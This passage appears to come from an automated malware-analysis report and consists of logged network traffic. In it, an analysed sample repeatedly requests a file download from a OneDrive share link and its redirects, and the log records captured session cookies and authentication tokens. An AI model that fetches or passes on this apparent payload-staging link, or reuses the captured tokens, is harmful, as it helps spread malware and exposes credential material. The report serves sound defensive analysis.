BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODQyLCJuYmYiOjE3MjAxMTcwNDIsImdpdmVuX25hbWUiOiIzNiIsImZhbWlseV9uYW1lIjoiV2FzcCIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjU1YmM3N2QxODAxNGI4OTZhYWRjMTVkYTg5YjFhNTc2IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwNDJ9.L7-toSJZI05V5iJsMTf-QgNTMOVxzKRom_LXKzotIarHLj78V_Xla6dyJ14TkHOJx4d8sFTzyrJxEPC1R96ujrU4bbpwFSZAthks7G27Q2RRk7gmWpSr_dlgidCRcMBchY2k5H2wmAb6KVSnOOq522akNEcZ2w_IHPNQM9BuJ7tnabVwBZww-VYKL3f8j8xQdWonpM5oP4JpmqBisSZOlDZlZlzBoQwkIYnJ8_D4NaP3i2ZezqL_w0Fu1I6lmof3EG7SmIw9aCmMOkXBpoyX1OHvJ0pUhlteHnlI1dNGCWmQvE-UmjWUvZBMbRPtZDyZ5n_u91PqP6TgsY4G9Eew7w; E=P:+AvEjFWc3Ig=:X6j04TApGS2UvXO0jB19njyVNPMrJ3f9DWMJMjvXtAI=:F; xid=0eb8542f-34ec-4f64-8065-fa42bf60747b&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODQ3LCJuYmYiOjE3MjAxMTcwNDcsImdpdmVuX25hbWUiOiI5OCIsImZhbWlseV9uYW1lIjoiRG90dGVyZWwiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJlOGVjNWVkODM5MDJjYmJhNjNkZGQ2NTU1OWM1NWQ2NSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDQ3fQ.Ol9LPqug3i7fEWvJLbwtzcKWM9K-c7SopSeodx5y_bZEze4E_GWoLNnug_JdKCRIdFaPDOS3Bu7sa0NGHmxIHvxFnpie-pAvnsG9S42a7cloF4BN_UNLR0fTHp6Wx40VFgGo5R4Y79nX755KITTY-5OUzRzjTrL8KygOee21CipK6ETveTmIZrCkfJRelzOOq9wXwygHdvyph4VryyB-3GGhUn69dcwyDHGLizwJm7oSXKJhBkHlfc8Ytfpz_50XRkP1kkTXRx6w5I36FDH22DaJBuCJNwQ4JEv9UibSkkpgzuB22NBuTtIjndbISvc8HeYlsEPZdcp5ws2nQf8X-A; E=P:Sk9Xj1Wc3Ig=:qaWJmxM4RRdwfHaBXLhHc1M22IgjsLZ1gf8ZoFpQ5UM=:F; xid=3c6214a5-5705-4280-b485-6d95033ae400&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODUwLCJuYmYiOjE3MjAxMTcwNTAsImdpdmVuX25hbWUiOiIzOSIsImZhbWlseV9uYW1lIjoiQ2hhbW9pcyIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImY2NjQ2ZmJlYjk0MDEyMThiNWE3NzI1YTQzMjhiMTYzIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwNTB9.NmPaNti8cmr8YW6n6CpY7216i6wZb7Fs1nAzgWdcx0EAZ2yQ4eBl4WvCseTEOdJYtC3CVsESenmGOl4Pt6PjPEEkBV8JepyOw__bYESbUpTBPSAFs0x9gwWh_-Vvpuzv7myQOzSDAjHlRwk9RiNkng3DMQpWox-CQkRnvl47knTToD7G8U9t3m5ucPbFslFXAJcRtRgdq2Uf85cDxxjkygA_67yA5p50xhLtxFkLx4t0GqzOUZE-Cigb3xSXZ5CxIqo53TSxyX2MCgMLGBTRSmEE_6Rmb1CHWeTsJ04w4V-rqE-AZACk47xYNrU5Q6g7Y_1CXip_jHZYoDpQ46xvSA; E=P:QIhokVWc3Ig=:POhhrxrWpLP7BrOy/KAqpCWvrs+n9/GQuTGY5p1k9Ko=:F; xid=f6ca8c83-8572-45f1-80f5-28611e9c5d3b&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.msConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODU0LCJuYmYiOjE3MjAxMTcwNTQsImdpdmVuX25hbWUiOiIxMSIsImZhbWlseV9uYW1lIjoiQnV0dGVyZmx5IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZGY5MmQ5YjNiOTY5ZmYyNTlhZmU4ZGRmMDE4NTg4NTkiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA1NH0.fNTQUeFf6_Cx2ypkx3pXVlw5iQMliR4KeBJwNEEKgUlstkBypNdZRMJ7qLHSCElIGHCfnA6opLKKRlAxJA_RcokKOdWZFHYflvythveKxeq7gB8LIp2pat2P3faDsygOwreTqz6GtgiJaXX2Ku1U_0lXeMTn-813rMTiHaVKJYY4DsPMimjMclH20DCyK-Sdpqr-X-TkGhANkRRY04VznMzSDh7UReH4mNsbSGMCNpyDR7TQk_g1ELwfUKZXOH2IvqyEhM5e2qy_ec0h4phNSQ-mRgdUVYscit08XYSLuTaH6RN1LhfZeuogWYyEGdEDuP8OCqpcr0J_S3QYW1CbxQ; E=P:Okufk1Wc3Ig=:9Cb8kcbqfAzDzAAX9PaGXYj9Aoh6VdVrwOmSXR00ucQ=:F; xid=11ed3aaa-742f-4968-b4af-032424f9f684&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODYwLCJuYmYiOjE3MjAxMTcwNjAsImdpdmVuX25hbWUiOiI1MiIsImZhbWlseV9uYW1lIjoiQmVlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZjJiMWJiZjkwNzdmMzkzYjc0YTU0ZmVjZTc0MzRlZmYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA2MH0.KVKq7rf4KcdooPxur2-Yh9CaRgm-5Cg0i4thWQtP39Cxcwii_ozy8fStTKn6qPz57L-4jpDQ1WOu3Cb609LMYxOvi0jekh3MUvOFnY65qS-yexyajIa6nChBIVg5TCZ7P3ToRp6qjcqK-ec-Tp_1zq41FmX_X4bggqCvZGRbqVM8bQNEsVnQyBCfojr7vyc0uPNfobRaa_CS-qhgBkF4egULzTLLJSTbpjQ7aqSg93ssvIiLVw5TedRqt-vvN2hIfcum49jN4CIVJeIpTPas0SPmcCdha0KwFy-VOR5NrV38gq7WqKSGRtIH8tOEbcKsWVQKKYPePI0TsaTbjsgMaw; E=P:bgBCl1Wc3Ig=:lgbiOLAGLzsSbC3++tkUhvpjArVAGf0KihO/8nCa0Cg=:F; xid=22111238-8a0e-47e2-9608-fc4cbd0f86b1&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODYzLCJuYmYiOjE3MjAxMTcwNjMsImdpdmVuX25hbWUiOiIzMCIsImZhbWlseV9uYW1lIjoiQmVhdmVyIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiNjkzYmYwNjdkOThlNzYxMjY0ZDExNGI5ZTYzMDlmZjUiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA2M30.PffwYqbtXcSlIESpw9NCnQXHL_OyLC1pYosVbzTBk1NGfmG5T_ifQyES0uFLUqDHDBQYIhLsCVkTnpI_gkHML-JUx_3lmNBEzUBlI_DBFu9w1Bl8t_PsQA19kyhcLTWRxfBb8-Itzji8BRrobmDYAZ_NERgul2gemyuhcHhvr_SVwUufFLBzJQNnL6TyGXyyY1xsMCVfU8utsscSfEaBbVg0XBusva8xVvhXYQifwzdN_EtlUJuYZUFEsM3AJIxV1sQmPQ2PjaVR4xY32OaFsEyOZ-8mFZdC6L4_or0SWkutYXO4l9GR6fLAJtUjk8TIzPXNgaBHgu10lwoE74PFRQ; E=P:e6lEmVWc3Ig=:OidNX7cWwGlQ8N4uz5b5AS2p05ONxHAs3VqhCADNGhs=:F; xid=c955b945-14dd-4256-9b93-dfa8e98448ca&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODY3LCJuYmYiOjE3MjAxMTcwNjcsImdpdmVuX25hbWUiOiI2OCIsImZhbWlseV9uYW1lIjoiSG9ybmV0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiYTY5MGQwNjc0Y2YzODQ3M2Y5OTdmNWUxN2JmMmNiYTEiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA2N30.DLY1REUYWUi0fPOqUkIJq9tJMjQ4AW-yY4OTUzq8m8PHiRYvTtDoekA_9HbJ3nvLk8HzROaV6pO0Bdd9lI2oWjEdB0rwZvhnqV1xe7c6oSbDpw3rwYtz10JTp6GqZ7Avs6erRsuYaDa-ihjNseDcAxVtv7TKlze-Q5NEaiCXofKNacz8G4CnK9Xr6PaCKzeYKm32WBR3BDlOkzvqJZDt5gLq1VTBkXB3b-VfWcpGmRuGS7HcRqdBQ1I0oZbc7AgqcBJixbdvpkQ0nYEFrbBzEySkAu3RjsXX8LyCW0OLmjAUouwqzstu_M0BlmNOjckpLa8smuQFrXpY_zuzODhf0g; E=P:lyQ8m1Wc3Ig=:DjavZp7Ys2YrJDqKWmx1raqGA0Y9nksrf4r0Stpm7l0=:F; xid=3495f473-89a5-415c-8e3e-e886984fb1ff&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODcwLCJuYmYiOjE3MjAxMTcwNzAsImdpdmVuX25hbWUiOiI4MyIsImZhbWlseV9uYW1lIjoiTGFyayIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImY3Mzk5YzY0MWUwMmU2Mjk2MTBmZmE1Y2U3OTA3YTgxIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwNzB9.FUB6a9e9RlxnlxNg4ost6t2OOmCTGttrwgexI6hhU8oeuWptaBelIq1mr6zje3jFhtyZl4Ss8leuOSzjf-6Z_hnFzFVIa6VqNHky0rnC_T1gmqELYzGIA4nTgzr_Hcl3MZySf13ijFbKkN6gQppsuBmpSzKJjZHsY-eAz8Osq5CBUpZ00KuJCH3QmsSnweIK6HAs5ppizDqo475nt-c-uFlfXO2GGFDIgkJGRT8B82NCGMN6B4qpFtFXLD3-p0LFloKAnpU54VfIHh6nismA6TEq6wBmiFgA3jQTmdiMMbTXWHtmY68yFWHwrgdlp5CJwqhcQoLj6ZXk-Q-jEiDTvw; E=P:8poYnVWc3Ig=:szY5hgBsspJN/8gDNJZRwR9gSJATULzTEx63IvSeeVE=:F; xid=ff30a131-8574-4a26-a377-1cfd1d8b500a&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODc0LCJuYmYiOjE3MjAxMTcwNzQsImdpdmVuX25hbWUiOiIxNiIsImZhbWlseV9uYW1lIjoiV2FsbGFieSIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjRlYzEzMzY5ZTEzZTNjZDhiNWE1NDJmNDVjYWZiMDFmIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwNzR9.UwvxZDPsuVjalr5D86jdwhDLIPqV-lmNJSIDHFJcRNL2xa0MrV6frYxTCkwv18dr9flC_GrCIW0Yv9oNJJKZCXm__3mkyp42q_8baiEPKErZ46V8wkaup8qmbKE7qfQ-PZqItN0N2Qih9699FDapv-vwLFTNBMEmB8tW7BAFAc8FUerzCBrpEf5bDjR7rY-opQgPLNoJ_hpvnL1useMYJ0EoCdUiGRwdeeTs3pKQAGpweoCiCxZt7BwwIIGn44LL64c7SEWLBq51NwReLLvo0_LhwSZJRmvbs3aPS2SewXdupeIDPYxMsWf6pYnxNg8MRYWhNaCn1RdC3xIxU2H5zg; E=P:Wqx9n1Wc3Ig=:za7Nhuc7vcMx/lFTjsMRobGJcqjropL2ppyl+IEAkQo=:F; xid=e4393a97-5280-43bf-af52-5ef5669bff22&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODc4LCJuYmYiOjE3MjAxMTcwNzgsImdpdmVuX25hbWUiOiI1OSIsImZhbWlseV9uYW1lIjoiU2FsbW9uIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiMDljZGJjNTY1OTVjNDUzMWViOTI3ZjQ1NTQwMDA0YjMiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA3OH0.MQ465LIuPJcXevAGGIMp6Mic20y3z37vcX8rF8RaJx485_PS3SJLLyhV0sW9Cx7QNJyA03K4KUodQ3j3bHXPFKM8Pgk_6xjzkwlhFtItp2dLa7xCB3s_DsanM1aet_KpA09fjLCwHLXGFVY7PezMKOW-iVhKrIyos495id2am4iJ4uPcpGz2HwWOTYaRctWiyKgnDG4qfzmcwTpjMMRsxLK1E_xQHOJFpzWJmlkEPSkSAxK_u171cMV5bW5faPyZ-ajFspTnyk-5mCpyRnxIDhWCOPNcZGSbT6lBMERi5AgW-cLCTlX6vUeVRmG1SfbKmTl256lm3i2MKmgJsCnz4Q; E=P:8Kg7olWc3Ig=:MPlWAQLAWfJiNArIepwtMJarjCAFtbPrMuhRUyNFLFA=:F; xid=fd4e766d-d1e7-4115-a056-66d167c1f135&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
